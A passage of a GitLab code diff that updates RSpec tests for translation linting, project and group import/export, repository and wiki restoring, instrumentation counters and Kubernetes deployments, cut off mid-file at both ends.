+ it_behaves_like 'includes the required attributes'
+ end
+
+ context 'on destroy' do
+ let(:event) { :destroy }
+
+ it { expect(event_name).to eq('user_remove_from_group') }
+ it_behaves_like 'includes the required attributes'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/i18n/po_linter_spec.rb b/spec/lib/gitlab/i18n/po_linter_spec.rb
index e04c0b49480..f2ee6bb72d9 100644
--- a/spec/lib/gitlab/i18n/po_linter_spec.rb
+++ b/spec/lib/gitlab/i18n/po_linter_spec.rb
@@ -6,7 +6,7 @@ require 'simple_po_parser'
# Disabling this cop to allow for multi-language examples in comments
# rubocop:disable Style/AsciiComments
RSpec.describe Gitlab::I18n::PoLinter do
- let(:linter) { described_class.new(po_path: po_path, html_todolist: {}) }
+ let(:linter) { described_class.new(po_path: po_path) }
let(:po_path) { 'spec/fixtures/valid.po' }
def fake_translation(msgid:, translation:, plural_id: nil, plurals: [])
@@ -24,8 +24,7 @@ RSpec.describe Gitlab::I18n::PoLinter do
Gitlab::I18n::TranslationEntry.new(
entry_data: data,
- nplurals: plurals.size + 1,
- html_allowed: nil
+ nplurals: plurals.size + 1
)
end
@@ -160,53 +159,6 @@ RSpec.describe Gitlab::I18n::PoLinter do
]
end
end
-
- context 'when an entry contains html on the todolist' do
- subject(:linter) { described_class.new(po_path: po_path, html_todolist: todolist) }
-
- let(:po_path) { 'spec/fixtures/potential_html.po' }
- let(:todolist) do
- {
- 'String with a legitimate < use' => {
- 'plural_id' => 'String with lots of < > uses',
- 'translations' => [
- 'Translated string with a legitimate < use',
- 'Translated string with lots of < > uses'
- ]
- }
- }
- end
-
- it 'does not present an error' do
- message_id = 'String with a legitimate < use'
-
- expect(errors[message_id]).to be_nil
- end
- end
-
- context 'when an entry on the html todolist has changed' do
- subject(:linter) { described_class.new(po_path: po_path, html_todolist: todolist) }
-
- let(:po_path) { 'spec/fixtures/potential_html.po' }
- let(:todolist) do
- {
- 'String with a legitimate < use' => {
- 'plural_id' => 'String with lots of < > uses',
- 'translations' => [
- 'Translated string with a different legitimate < use',
- 'Translated string with lots of < > uses'
- ]
- }
- }
- end
-
- it 'presents an error for the changed component' do
- message_id = 'String with a legitimate < use'
-
- expect(errors[message_id])
- .to include a_string_starting_with('translation contains < or >.')
- end
- end
end
describe '#parse_po' do
@@ -276,8 +228,7 @@ RSpec.describe Gitlab::I18n::PoLinter do
fake_entry = Gitlab::I18n::TranslationEntry.new(
entry_data: { msgid: 'the singular', msgid_plural: 'the plural', 'msgstr[0]' => 'the singular' },
- nplurals: 2,
- html_allowed: nil
+ nplurals: 2
)
errors = []
diff --git a/spec/lib/gitlab/i18n/translation_entry_spec.rb b/spec/lib/gitlab/i18n/translation_entry_spec.rb
index 2c95b0b0124..f05346d07d3 100644
--- a/spec/lib/gitlab/i18n/translation_entry_spec.rb
+++ b/spec/lib/gitlab/i18n/translation_entry_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#singular_translation' do
it 'returns the normal `msgstr` for translations without plural' do
data = { msgid: 'Hello world', msgstr: 'Bonjour monde' }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.singular_translation).to eq('Bonjour monde')
end
@@ -18,7 +18,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
'msgstr[0]' => 'Bonjour monde',
'msgstr[1]' => 'Bonjour mondes'
}
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.singular_translation).to eq('Bonjour monde')
end
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#all_translations' do
it 'returns all translations for singular translations' do
data = { msgid: 'Hello world', msgstr: 'Bonjour monde' }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.all_translations).to eq(['Bonjour monde'])
end
@@ -39,7 +39,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
'msgstr[0]' => 'Bonjour monde',
'msgstr[1]' => 'Bonjour mondes'
}
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.all_translations).to eq(['Bonjour monde', 'Bonjour mondes'])
end
@@ -52,7 +52,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
msgid_plural: 'Hello worlds',
'msgstr[0]' => 'Bonjour monde'
}
- entry = described_class.new(entry_data: data, nplurals: 1, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 1)
expect(entry.plural_translations).to eq(['Bonjour monde'])
end
@@ -65,7 +65,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
'msgstr[1]' => 'Bonjour mondes',
'msgstr[2]' => 'Bonjour tous les mondes'
}
- entry = described_class.new(entry_data: data, nplurals: 3, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 3)
expect(entry.plural_translations).to eq(['Bonjour mondes', 'Bonjour tous les mondes'])
end
@@ -77,7 +77,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
msgid: 'hello world',
msgstr: 'hello'
}
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry).to have_singular_translation
end
@@ -89,7 +89,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
"msgstr[0]" => 'hello world',
"msgstr[1]" => 'hello worlds'
}
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry).to have_singular_translation
end
@@ -100,7 +100,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
msgid_plural: 'hello worlds',
"msgstr[0]" => 'hello worlds'
}
- entry = described_class.new(entry_data: data, nplurals: 1, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 1)
expect(entry).not_to have_singular_translation
end
@@ -109,7 +109,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#msgid_contains_newlines' do
it 'is true when the msgid is an array' do
data = { msgid: %w(hello world) }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.msgid_has_multiple_lines?).to be_truthy
end
@@ -118,7 +118,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#plural_id_contains_newlines' do
it 'is true when the msgid is an array' do
data = { msgid_plural: %w(hello world) }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.plural_id_has_multiple_lines?).to be_truthy
end
@@ -127,7 +127,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#translations_contain_newlines' do
it 'is true when the msgid is an array' do
data = { msgstr: %w(hello world) }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry.translations_have_multiple_lines?).to be_truthy
end
@@ -135,7 +135,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#contains_unescaped_chars' do
let(:data) { { msgid: '' } }
- let(:entry) { described_class.new(entry_data: data, nplurals: 2, html_allowed: nil) }
+ let(:entry) { described_class.new(entry_data: data, nplurals: 2) }
it 'is true when the msgid is an array' do
string = '「100%確定ã€'
@@ -177,7 +177,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#msgid_contains_unescaped_chars' do
it 'is true when the msgid contains a `%`' do
data = { msgid: '「100%確定ã€' }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry).to receive(:contains_unescaped_chars?).and_call_original
expect(entry.msgid_contains_unescaped_chars?).to be_truthy
@@ -187,7 +187,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#plural_id_contains_unescaped_chars' do
it 'is true when the plural msgid contains a `%`' do
data = { msgid_plural: '「100%確定ã€' }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry).to receive(:contains_unescaped_chars?).and_call_original
expect(entry.plural_id_contains_unescaped_chars?).to be_truthy
@@ -197,7 +197,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
describe '#translations_contain_unescaped_chars' do
it 'is true when the translation contains a `%`' do
data = { msgstr: '「100%確定ã€' }
- entry = described_class.new(entry_data: data, nplurals: 2, html_allowed: nil)
+ entry = described_class.new(entry_data: data, nplurals: 2)
expect(entry).to receive(:contains_unescaped_chars?).and_call_original
expect(entry.translations_contain_unescaped_chars?).to be_truthy
@@ -205,7 +205,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
end
describe '#msgid_contains_potential_html?' do
- subject(:entry) { described_class.new(entry_data: data, nplurals: 2, html_allowed: nil) }
+ subject(:entry) { described_class.new(entry_data: data, nplurals: 2) }
context 'when there are no angle brackets in the msgid' do
let(:data) { { msgid: 'String with no brackets' } }
@@ -225,7 +225,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
end
describe '#plural_id_contains_potential_html?' do
- subject(:entry) { described_class.new(entry_data: data, nplurals: 2, html_allowed: nil) }
+ subject(:entry) { described_class.new(entry_data: data, nplurals: 2) }
context 'when there are no angle brackets in the plural_id' do
let(:data) { { msgid_plural: 'String with no brackets' } }
@@ -245,7 +245,7 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
end
describe '#translations_contain_potential_html?' do
- subject(:entry) { described_class.new(entry_data: data, nplurals: 2, html_allowed: nil) }
+ subject(:entry) { described_class.new(entry_data: data, nplurals: 2) }
context 'when there are no angle brackets in the translations' do
let(:data) { { msgstr: 'This string has no angle brackets' } }
@@ -263,78 +263,4 @@ RSpec.describe Gitlab::I18n::TranslationEntry do
end
end
end
-
- describe '#msgid_html_allowed?' do
- subject(:entry) do
- described_class.new(entry_data: { msgid: 'String with a <strong>' }, nplurals: 2, html_allowed: html_todo)
- end
-
- context 'when the html in the string is in the todolist' do
- let(:html_todo) { { 'plural_id' => nil, 'translations' => [] } }
-
- it 'returns true' do
- expect(entry.msgid_html_allowed?).to be true
- end
- end
-
- context 'when the html in the string is not in the todolist' do
- let(:html_todo) { nil }
-
- it 'returns false' do
- expect(entry.msgid_html_allowed?).to be false
- end
- end
- end
-
- describe '#plural_id_html_allowed?' do
- subject(:entry) do
- described_class.new(entry_data: { msgid_plural: 'String with many <strong>' }, nplurals: 2, html_allowed: html_todo)
- end
-
- context 'when the html in the string is in the todolist' do
- let(:html_todo) { { 'plural_id' => 'String with many <strong>', 'translations' => [] } }
-
- it 'returns true' do
- expect(entry.plural_id_html_allowed?).to be true
- end
- end
-
- context 'when the html in the string is not in the todolist' do
- let(:html_todo) { { 'plural_id' => 'String with some <strong>', 'translations' => [] } }
-
- it 'returns false' do
- expect(entry.plural_id_html_allowed?).to be false
- end
- end
- end
-
- describe '#translations_html_allowed?' do
- subject(:entry) do
- described_class.new(entry_data: { msgstr: 'String with a <strong>' }, nplurals: 2, html_allowed: html_todo)
- end
-
- context 'when the html in the string is in the todolist' do
- let(:html_todo) { { 'plural_id' => nil, 'translations' => ['String with a <strong>'] } }
-
- it 'returns true' do
- expect(entry.translations_html_allowed?).to be true
- end
- end
-
- context 'when the html in the string is not in the todolist' do
- let(:html_todo) { { 'plural_id' => nil, 'translations' => ['String with a different <strong>'] } }
-
- it 'returns false' do
- expect(entry.translations_html_allowed?).to be false
- end
- end
-
- context 'when the todolist only has the msgid' do
- let(:html_todo) { { 'plural_id' => nil, 'translations' => nil } }
-
- it 'returns false' do
- expect(entry.translations_html_allowed?).to be false
- end
- end
- end
end
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index 38fe2781331..fba32ae0673 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -28,6 +28,7 @@ issues:
- events
- merge_requests_closing_issues
- metrics
+- metric_images
- timelogs
- issuable_severity
- issuable_sla
@@ -85,6 +86,7 @@ label:
- issues
- merge_requests
- priorities
+- epic_board_labels
milestone:
- group
- project
@@ -105,6 +107,7 @@ snippets:
- user_mentions
- snippet_repository
- statistics
+- repository_storage_moves
releases:
- author
- project
@@ -349,6 +352,7 @@ project:
- services
- campfire_service
- confluence_service
+- datadog_service
- discord_service
- drone_ci_service
- emails_on_push_service
@@ -540,6 +544,7 @@ project:
- daily_build_group_report_results
- jira_imports
- compliance_framework_setting
+- compliance_management_frameworks
- metrics_users_starred_dashboards
- alert_management_alerts
- repository_storage_moves
@@ -548,10 +553,13 @@ project:
- build_report_results
- vulnerability_statistic
- vulnerability_historical_statistics
+- vulnerability_remediations
- product_analytics_events
- pipeline_artifacts
- terraform_states
- alert_management_http_integrations
+- exported_protected_branches
+- incident_management_oncall_schedules
award_emoji:
- awardable
- user
@@ -639,6 +647,7 @@ boards:
- lists
- destroyable_lists
- milestone
+- iteration
- board_labels
- board_assignee
- assignee
@@ -648,6 +657,7 @@ boards:
lists:
- user
- milestone
+- iteration
- board
- label
- list_user_preferences
diff --git a/spec/lib/gitlab/import_export/group/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/group/tree_restorer_spec.rb
index 2eb983cc050..2794acb8980 100644
--- a/spec/lib/gitlab/import_export/group/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/group/tree_restorer_spec.rb
@@ -75,12 +75,31 @@ RSpec.describe Gitlab::ImportExport::Group::TreeRestorer do
before do
setup_import_export_config('group_exports/child_with_no_parent')
+ end
+
+ it 'captures import failures when a child group does not have a valid parent_id' do
+ group_tree_restorer.restore
- expect(group_tree_restorer.restore).to be_falsey
+ expect(group.import_failures.first.exception_message).to eq('Parent group not found')
end
+ end
+
+ context 'when child group creation fails' do
+ let(:user) { create(:user) }
+ let(:group) { create(:group) }
+ let(:shared) { Gitlab::ImportExport::Shared.new(group) }
+ let(:group_tree_restorer) { described_class.new(user: user, shared: shared, group: group) }
+
+ before do
+ setup_import_export_config('group_exports/child_short_name')
+ end
+
+ it 'captures import failure' do
+ exception_message = 'Validation failed: Group URL is too short (minimum is 2 characters)'
+
+ group_tree_restorer.restore
- it 'fails when a child group does not have a valid parent_id' do
- expect(shared.errors).to include('Parent group not found')
+ expect(group.import_failures.first.exception_message).to eq(exception_message)
end
end
diff --git a/spec/lib/gitlab/import_export/importer_spec.rb b/spec/lib/gitlab/import_export/importer_spec.rb
index 0db038785d3..75db3167ebc 100644
--- a/spec/lib/gitlab/import_export/importer_spec.rb
+++ b/spec/lib/gitlab/import_export/importer_spec.rb
@@ -48,7 +48,6 @@ RSpec.describe Gitlab::ImportExport::Importer do
[
Gitlab::ImportExport::AvatarRestorer,
Gitlab::ImportExport::RepoRestorer,
- Gitlab::ImportExport::WikiRestorer,
Gitlab::ImportExport::UploadsRestorer,
Gitlab::ImportExport::LfsRestorer,
Gitlab::ImportExport::StatisticsRestorer,
@@ -65,6 +64,20 @@ RSpec.describe Gitlab::ImportExport::Importer do
end
end
+ it 'calls RepoRestorer with project and wiki' do
+ wiki_repo_path = File.join(shared.export_path, Gitlab::ImportExport.wiki_repo_bundle_filename)
+ repo_path = File.join(shared.export_path, Gitlab::ImportExport.project_bundle_filename)
+ restorer = double(Gitlab::ImportExport::RepoRestorer)
+
+ expect(Gitlab::ImportExport::RepoRestorer).to receive(:new).with(path_to_bundle: repo_path, shared: shared, project: project).and_return(restorer)
+ expect(Gitlab::ImportExport::RepoRestorer).to receive(:new).with(path_to_bundle: wiki_repo_path, shared: shared, project: ProjectWiki.new(project)).and_return(restorer)
+ expect(Gitlab::ImportExport::RepoRestorer).to receive(:new).and_call_original
+
+ expect(restorer).to receive(:restore).and_return(true).twice
+
+ importer.execute
+ end
+
context 'with sample_data_template' do
it 'initializes the Sample::TreeRestorer' do
project.create_or_update_import_data(data: { sample_data: true })
diff --git a/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb b/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
index 0af74dee604..2a5e802bdc5 100644
--- a/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
+++ b/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe Gitlab::ImportExport::JSON::NdjsonWriter do
describe "#write_relation" do
context "when single relation is serialized" do
- it "appends json in correct file " do
+ it "appends json in correct file" do
relation = "relation"
value = { "key" => "value_1", "key_1" => "value_1" }
subject.write_relation(exportable_path, relation, value)
diff --git a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
index fd3b71deb37..e2bf87bf29f 100644
--- a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
@@ -674,10 +674,12 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
end
it 'does not allow setting params that are excluded from import_export settings' do
- project.create_import_data(data: { override_params: { lfs_enabled: true } })
+ original_value = project.lfs_enabled?
+
+ project.create_import_data(data: { override_params: { lfs_enabled: !original_value } })
expect(restored_project_json).to eq(true)
- expect(project.lfs_enabled).to be_falsey
+ expect(project.lfs_enabled).to eq(original_value)
end
it 'overrides project feature access levels' do
diff --git a/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb b/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
index bd9ac6d6697..d3c14b1f8fe 100644
--- a/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
@@ -113,12 +113,31 @@ RSpec.describe Gitlab::ImportExport::RelationTreeRestorer do
include_examples 'logging of relations creation'
end
+ end
+
+ context 'using ndjson reader' do
+ let(:path) { 'spec/fixtures/lib/gitlab/import_export/complex/tree' }
+ let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
+
+ it_behaves_like 'import project successfully'
+ end
- context 'using ndjson reader' do
- let(:path) { 'spec/fixtures/lib/gitlab/import_export/complex/tree' }
- let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
+ context 'with invalid relations' do
+ let(:path) { 'spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree' }
+ let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
- it_behaves_like 'import project successfully'
+ it 'logs the invalid relation and its errors' do
+ expect(relation_tree_restorer.shared.logger)
+ .to receive(:warn)
+ .with(
+ error_messages: "Title can't be blank. Title is invalid",
+ message: '[Project/Group Import] Invalid object relation built',
+ relation_class: 'ProjectLabel',
+ relation_index: 0,
+ relation_key: 'labels'
+ ).once
+
+ relation_tree_restorer.restore
end
end
end
diff --git a/spec/lib/gitlab/import_export/repo_restorer_spec.rb b/spec/lib/gitlab/import_export/repo_restorer_spec.rb
index b32ae60fbcc..a6b917457c2 100644
--- a/spec/lib/gitlab/import_export/repo_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/repo_restorer_spec.rb
@@ -5,35 +5,42 @@ require 'spec_helper'
RSpec.describe Gitlab::ImportExport::RepoRestorer do
include GitHelpers
+ let_it_be(:project_with_repo) do
+ create(:project, :repository, :wiki_repo, name: 'test-repo-restorer', path: 'test-repo-restorer').tap do |p|
+ p.wiki.create_page('page', 'foobar', :markdown, 'created page')
+ end
+ end
+
+ let!(:project) { create(:project) }
+
+ let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
+ let(:shared) { project.import_export_shared }
+
+ before do
+ allow(Gitlab::ImportExport).to receive(:storage_path).and_return(export_path)
+
+ bundler.save
+ end
+
+ after do
+ FileUtils.rm_rf(export_path)
+ end
+
describe 'bundle a project Git repo' do
- let(:user) { create(:user) }
- let!(:project_with_repo) { create(:project, :repository, name: 'test-repo-restorer', path: 'test-repo-restorer') }
- let!(:project) { create(:project) }
- let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
- let(:shared) { project.import_export_shared }
let(:bundler) { Gitlab::ImportExport::RepoSaver.new(project: project_with_repo, shared: shared) }
let(:bundle_path) { File.join(shared.export_path, Gitlab::ImportExport.project_bundle_filename) }
subject { described_class.new(path_to_bundle: bundle_path, shared: shared, project: project) }
- before do
- allow_next_instance_of(Gitlab::ImportExport) do |instance|
- allow(instance).to receive(:storage_path).and_return(export_path)
- end
-
- bundler.save
- end
-
after do
- FileUtils.rm_rf(export_path)
- Gitlab::GitalyClient::StorageSettings.allow_disk_access do
- FileUtils.rm_rf(project_with_repo.repository.path_to_repo)
- FileUtils.rm_rf(project.repository.path_to_repo)
- end
+ Gitlab::Shell.new.remove_repository(project.repository_storage, project.disk_path)
end
it 'restores the repo successfully' do
+ expect(project.repository.exists?).to be false
expect(subject.restore).to be_truthy
+
+ expect(project.repository.empty?).to be false
end
context 'when the repository already exists' do
@@ -53,4 +60,35 @@ RSpec.describe Gitlab::ImportExport::RepoRestorer do
end
end
end
+
+ describe 'restore a wiki Git repo' do
+ let(:bundler) { Gitlab::ImportExport::WikiRepoSaver.new(project: project_with_repo, shared: shared) }
+ let(:bundle_path) { File.join(shared.export_path, Gitlab::ImportExport.wiki_repo_bundle_filename) }
+
+ subject { described_class.new(path_to_bundle: bundle_path, shared: shared, project: ProjectWiki.new(project)) }
+
+ after do
+ Gitlab::Shell.new.remove_repository(project.wiki.repository_storage, project.wiki.disk_path)
+ end
+
+ it 'restores the wiki repo successfully' do
+ expect(project.wiki_repository_exists?).to be false
+
+ subject.restore
+ project.wiki.repository.expire_status_cache
+
+ expect(project.wiki_repository_exists?).to be true
+ end
+
+ describe 'no wiki in the bundle' do
+ let!(:project_without_wiki) { create(:project) }
+
+ let(:bundler) { Gitlab::ImportExport::WikiRepoSaver.new(project: project_without_wiki, shared: shared) }
+
+ it 'does not creates an empty wiki' do
+ expect(subject.restore).to be true
+ expect(project.wiki_repository_exists?).to be false
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index b33462b4096..a93ee051ccf 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -26,7 +26,7 @@ Issue:
- weight
- time_estimate
- relative_position
-- service_desk_reply_to
+- external_author
- last_edited_at
- last_edited_by_id
- discussion_locked
@@ -219,6 +219,7 @@ MergeRequestDiff:
- start_commit_sha
- commits_count
- files_count
+- sorted
MergeRequestDiffCommit:
- merge_request_diff_id
- relative_order
@@ -577,6 +578,8 @@ ProjectFeature:
- pages_access_level
- metrics_dashboard_access_level
- requirements_access_level
+- analytics_access_level
+- operations_access_level
- created_at
- updated_at
ProtectedBranch::MergeAccessLevel:
@@ -742,6 +745,7 @@ Board:
- updated_at
- group_id
- milestone_id
+- iteration_id
- weight
- name
- hide_backlog_list
diff --git a/spec/lib/gitlab/import_export/wiki_restorer_spec.rb b/spec/lib/gitlab/import_export/wiki_restorer_spec.rb
deleted file mode 100644
index 6c80c410d07..00000000000
--- a/spec/lib/gitlab/import_export/wiki_restorer_spec.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::ImportExport::WikiRestorer do
- describe 'restore a wiki Git repo' do
- let!(:project_with_wiki) { create(:project, :wiki_repo) }
- let!(:project_without_wiki) { create(:project) }
- let!(:project) { create(:project) }
- let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
- let(:shared) { project.import_export_shared }
- let(:bundler) { Gitlab::ImportExport::WikiRepoSaver.new(project: project_with_wiki, shared: shared) }
- let(:bundle_path) { File.join(shared.export_path, Gitlab::ImportExport.project_bundle_filename) }
- let(:restorer) do
- described_class.new(path_to_bundle: bundle_path,
- shared: shared,
- project: project.wiki,
- wiki_enabled: true)
- end
-
- before do
- allow(Gitlab::ImportExport).to receive(:storage_path).and_return(export_path)
-
- bundler.save
- end
-
- after do
- FileUtils.rm_rf(export_path)
- Gitlab::Shell.new.remove_repository(project_with_wiki.wiki.repository_storage, project_with_wiki.wiki.disk_path)
- Gitlab::Shell.new.remove_repository(project.wiki.repository_storage, project.wiki.disk_path)
- end
-
- it 'restores the wiki repo successfully' do
- expect(restorer.restore).to be true
- end
-
- describe "no wiki in the bundle" do
- let(:bundler) { Gitlab::ImportExport::WikiRepoSaver.new(project: project_without_wiki, shared: shared) }
-
- it 'creates an empty wiki' do
- expect(restorer.restore).to be true
-
- expect(project.wiki_repository_exists?).to be true
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/import_sources_spec.rb b/spec/lib/gitlab/import_sources_spec.rb
index 0dfd8a2ee50..416d651b0de 100644
--- a/spec/lib/gitlab/import_sources_spec.rb
+++ b/spec/lib/gitlab/import_sources_spec.rb
@@ -53,7 +53,6 @@ RSpec.describe Gitlab::ImportSources do
bitbucket
bitbucket_server
gitlab
- google_code
fogbugz
gitlab_project
gitea
@@ -70,7 +69,7 @@ RSpec.describe Gitlab::ImportSources do
'bitbucket' => Gitlab::BitbucketImport::Importer,
'bitbucket_server' => Gitlab::BitbucketServerImport::Importer,
'gitlab' => Gitlab::GitlabImport::Importer,
- 'google_code' => Gitlab::GoogleCodeImport::Importer,
+ 'google_code' => nil,
'fogbugz' => Gitlab::FogbugzImport::Importer,
'git' => nil,
'gitlab_project' => Gitlab::ImportExport::Importer,
diff --git a/spec/lib/gitlab/instrumentation_helper_spec.rb b/spec/lib/gitlab/instrumentation_helper_spec.rb
index 88f2def34d9..c00b0fdf043 100644
--- a/spec/lib/gitlab/instrumentation_helper_spec.rb
+++ b/spec/lib/gitlab/instrumentation_helper_spec.rb
@@ -34,7 +34,10 @@ RSpec.describe Gitlab::InstrumentationHelper do
:redis_shared_state_calls,
:redis_shared_state_duration_s,
:redis_shared_state_read_bytes,
- :redis_shared_state_write_bytes
+ :redis_shared_state_write_bytes,
+ :db_count,
+ :db_write_count,
+ :db_cached_count
]
expect(described_class.keys).to eq(expected_keys)
@@ -46,10 +49,10 @@ RSpec.describe Gitlab::InstrumentationHelper do
subject { described_class.add_instrumentation_data(payload) }
- it 'adds nothing' do
+ it 'adds only DB counts by default' do
subject
- expect(payload).to eq({})
+ expect(payload).to eq(db_count: 0, db_cached_count: 0, db_write_count: 0)
end
context 'when Gitaly calls are made' do
diff --git a/spec/lib/gitlab/kubernetes/deployment_spec.rb b/spec/lib/gitlab/kubernetes/deployment_spec.rb
new file mode 100644
index 00000000000..2433e854e5b
--- /dev/null
+++ b/spec/lib/gitlab/kubernetes/deployment_spec.rb
@@ -0,0 +1,190 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kubernetes::Deployment do
+ include KubernetesHelpers
+
+ let(:pods) { {} }
+
+ subject(:deployment) { described_class.new(params, pods: pods) }
+
+ describe '#name' do
+ let(:params) { named(:selected) }
+
+ it { expect(deployment.name).to eq(:selected) }
+ end
+
+ describe '#labels' do
+ let(:params) { make('metadata', 'labels' => :selected) }
+
+ it { expect(deployment.labels).to eq(:selected) }
+ end
+
+ describe '#outdated?' do
+ context 'when outdated' do
+ let(:params) { generation(2, 1, 0) }
+
+ it { expect(deployment.outdated?).to be_truthy }
+ end
+
+ context 'when up to date' do
+ let(:params) { generation(2, 2, 0) }
+
+ it { expect(deployment.outdated?).to be_falsy }
+ end
+
+ context 'when ahead of latest' do
+ let(:params) { generation(1, 2, 0) }
+
+ it { expect(deployment.outdated?).to be_falsy }
+ end
+ end
+
+ describe '#instances' do
+ context 'when unnamed' do
+ let(:pods) do
+ [
+ kube_pod(name: nil, status: 'Pending'),
+ kube_pod(name: nil, status: 'Pending'),
+ kube_pod(name: nil, status: 'Pending'),
+ kube_pod(name: nil, status: 'Pending')
+ ]
+ end
+
+ let(:params) { combine(generation(1, 1, 4)) }
+
+ it 'returns all pods with generated names and pending' do
+ expected = [
+ { status: 'pending', pod_name: 'generated-name-with-suffix', tooltip: 'generated-name-with-suffix (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'generated-name-with-suffix', tooltip: 'generated-name-with-suffix (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'generated-name-with-suffix', tooltip: 'generated-name-with-suffix (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'generated-name-with-suffix', tooltip: 'generated-name-with-suffix (Pending)', track: 'stable', stable: true }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+
+ # When replica count is higher than pods it is considered that pod was not
+ # able to spawn for some reason like limited resources.
+ context 'when number of pods is less than wanted replicas' do
+ let(:wanted_replicas) { 3 }
+ let(:pods) { [kube_pod(name: nil, status: 'Running')] }
+ let(:params) { combine(generation(1, 1, wanted_replicas)) }
+
+ it 'returns not spawned pods as pending and unknown and running' do
+ expected = [
+ { status: 'running', pod_name: 'generated-name-with-suffix', tooltip: 'generated-name-with-suffix (Running)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'Not provided', tooltip: 'Not provided (Pending)', track: 'stable', stable: true },
+ { status: 'pending', pod_name: 'Not provided', tooltip: 'Not provided (Pending)', track: 'stable', stable: true }
+ ]
+
+ expect(deployment.instances).to eq(expected)
+ end
+ end
+
+ context 'when outdated' do
+ let(:pods) do
+ [
+ kube_pod(status: 'Pending'),
+ kube_pod(name: 'kube-pod1', status: 'Pending'),
+ kube_pod(name: 'kube-pod2', status: 'Pending'),
